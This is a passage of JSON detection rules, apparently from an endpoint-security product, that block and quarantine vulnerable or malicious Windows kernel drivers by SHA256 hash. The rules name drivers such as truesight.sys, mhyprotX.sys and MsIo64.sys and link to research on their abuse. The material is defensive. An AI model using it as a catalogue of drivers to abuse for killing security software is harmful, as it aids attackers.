+  "hl_testing_start_time": "2026-03-23T11:45:31.808306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32a53835967cc3690dede58d9e7e006cfda9730e26418a6a37750a7bc6a07d6f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8058a5f6-dc8e-5f28-b2cd-4eab04b54784",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487523Z",
+  "creation_date": "2026-03-23T11:45:31.487525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487530Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eaab0a8078b14e108dea51525b4b91acc28526337f06e9dd272c22242ddfe74b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8059b119-1dd6-578f-a40b-dfa198dde249",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618566Z",
+  "creation_date": "2026-03-23T11:45:29.618568Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618576Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "51dbf446deb54beb8aef1de11e0f868ac062a9db0c31d0e16eff99203aec86a9",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8063326e-1b72-5c8a-b5cf-bd1930fe5280",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143297Z",
+  "creation_date": "2026-03-23T11:45:32.143299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143305Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecd6e879e5521ca4053a59ef6682a95d97f6d9ba75f313b87bd133afe5267852",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8065ab1e-139d-5cd0-b620-ac1c59aab364",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.496008Z",
+  "creation_date": "2026-03-23T11:45:31.496011Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.496020Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07e98ca630e107adec07257ad17740d5da20a66513edf9174560fdf8c8bd6102",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "806f3e88-faf8-5503-82a8-2a6f2f3bd0f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825164Z",
+  "creation_date": "2026-03-23T11:45:31.825167Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb9577d0beee89bf57531a916a88085fb21a1ca8f217cbcdd2d9eb10395ec4c9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "807157a0-211c-5ac3-b3d0-fc4571c3fdb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157170Z",
+  "creation_date": "2026-03-23T11:45:31.157172Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157178Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0f964dcc6e887a09959da6a0056b7ba4fdfa5f06869e3f9781f1836764afcf4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "807852ac-62f7-5ffb-9e7c-a0e26320862e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475072Z",
+  "creation_date": "2026-03-23T11:45:30.475075Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab6c6a6a4d7ae58cbbc63283699aaf59cf6ecddf56eba0933178732f2664abcd",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80818bdb-dfd8-5f2c-a088-af2aa8e3fce3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829893Z",
+  "creation_date": "2026-03-23T11:45:31.829895Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829900Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ef42bd4b8f14f025fb220ed9a45aab6cd3fd8cc282042bd4d601ebfe7865fe7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8087457e-1df1-58ee-a611-09641e2f9e54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476020Z",
+  "creation_date": "2026-03-23T11:45:31.476024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f18cd5a57c83f7254c0e376fc713a387ba5b800a272c2013870bd5d4e483fdd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80994992-ad77-5142-b9e2-71858df38492",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160738Z",
+  "creation_date": "2026-03-23T11:45:31.160740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43e5c2e6aa753481f5a98f25d2369a8dde994a33f7780884c4669bf6b0327ffd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "809b8951-1dfe-567f-b531-1dbe279faa14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614178Z",
+  "creation_date": "2026-03-23T11:45:29.614180Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614185Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae42afa9be9aa6f6a5ae09fa9c05cd2dfb7861dc72d4fd8e0130e5843756c471",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80a8b2a7-9d7f-5650-a3f3-4c7fb2974b75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611864Z",
+  "creation_date": "2026-03-23T11:45:29.611866Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611882Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26d69e677d30bb53c7ac7f3fce76291fe2c44720ef17ee386f95f08ec5175288",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80a9b8ca-1603-5cff-826b-3ff270d37cda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141921Z",
+  "creation_date": "2026-03-23T11:45:31.141923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141928Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e8dd1f4de4e4cc11d3f6ca90d2f247df53aceec3e785a6245b35c98bc509d3b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80af64e7-9c8a-5749-a901-e9528ce65a37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812544Z",
+  "creation_date": "2026-03-23T11:45:31.812546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b858eda9816986ec170cb5fa8f2bbf807c77a46430264b68a379e568a788bc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80b19be8-d030-5950-8d92-4ecfd72a5738",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978475Z",
+  "creation_date": "2026-03-23T11:45:29.978477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18dfe852fade6625862cc963922c1f2389a296af96df11eb7b62bbeddd61e18a",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80bb6ad6-e9ea-53ed-a5a3-11f2423884a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151569Z",
+  "creation_date": "2026-03-23T11:45:31.151572Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4053661f7153f5305e9aa491c003b2025e2b8ed96a9cf83d539916fe52b8bf8b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80c0fccb-c742-5b2d-934c-2b2d8c450dc1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142362Z",
+  "creation_date": "2026-03-23T11:45:31.142364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142369Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a12541f2b5689d8270552a397e45522eb2638a08235540db197872d264caf597",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80cdbc9f-b575-5b57-bdd0-50b616204d09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157257Z",
+  "creation_date": "2026-03-23T11:45:31.157259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157265Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "acc7c9347635ea9b1e449696ba6ee06134781aa7a8a12d1b492c51afd3385bce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80d3836f-985c-5d5d-86c5-19870f8abf00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983999Z",
+  "creation_date": "2026-03-23T11:45:29.984001Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6de84caa2ca18673e01b91af58220c60aecd5cccf269725ec3c7f226b2167492",
+  "comment": "Vulnerable Kernel Driver (aka msrhook.sys) [https://www.loldrivers.io/drivers/1a1cf88a-96d0-46cd-a24d-1535e4a5f6e3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80db9ef8-8229-5987-a447-daf1e8421fcc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976336Z",
+  "creation_date": "2026-03-23T11:45:29.976338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976343Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88076e98d45ed3adf0c5355411fe8ca793eb7cec1a1c61f5e1ec337eae267463",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80dbe0fe-d855-5e9a-96f0-d4e9f4cd4fda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834928Z",
+  "creation_date": "2026-03-23T11:45:30.834931Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834940Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "237f79d4c8784776469b41378698f855c26e20f363ddffbed5e55f978110a8f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80f65a26-e347-547b-92a8-21b3e7c53ce0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967456Z",
+  "creation_date": "2026-03-23T11:45:29.967458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bbc58fd69ce5fed6691dd8d2084e9b728add808ffd5ea8b42ac284b686f77d9a",
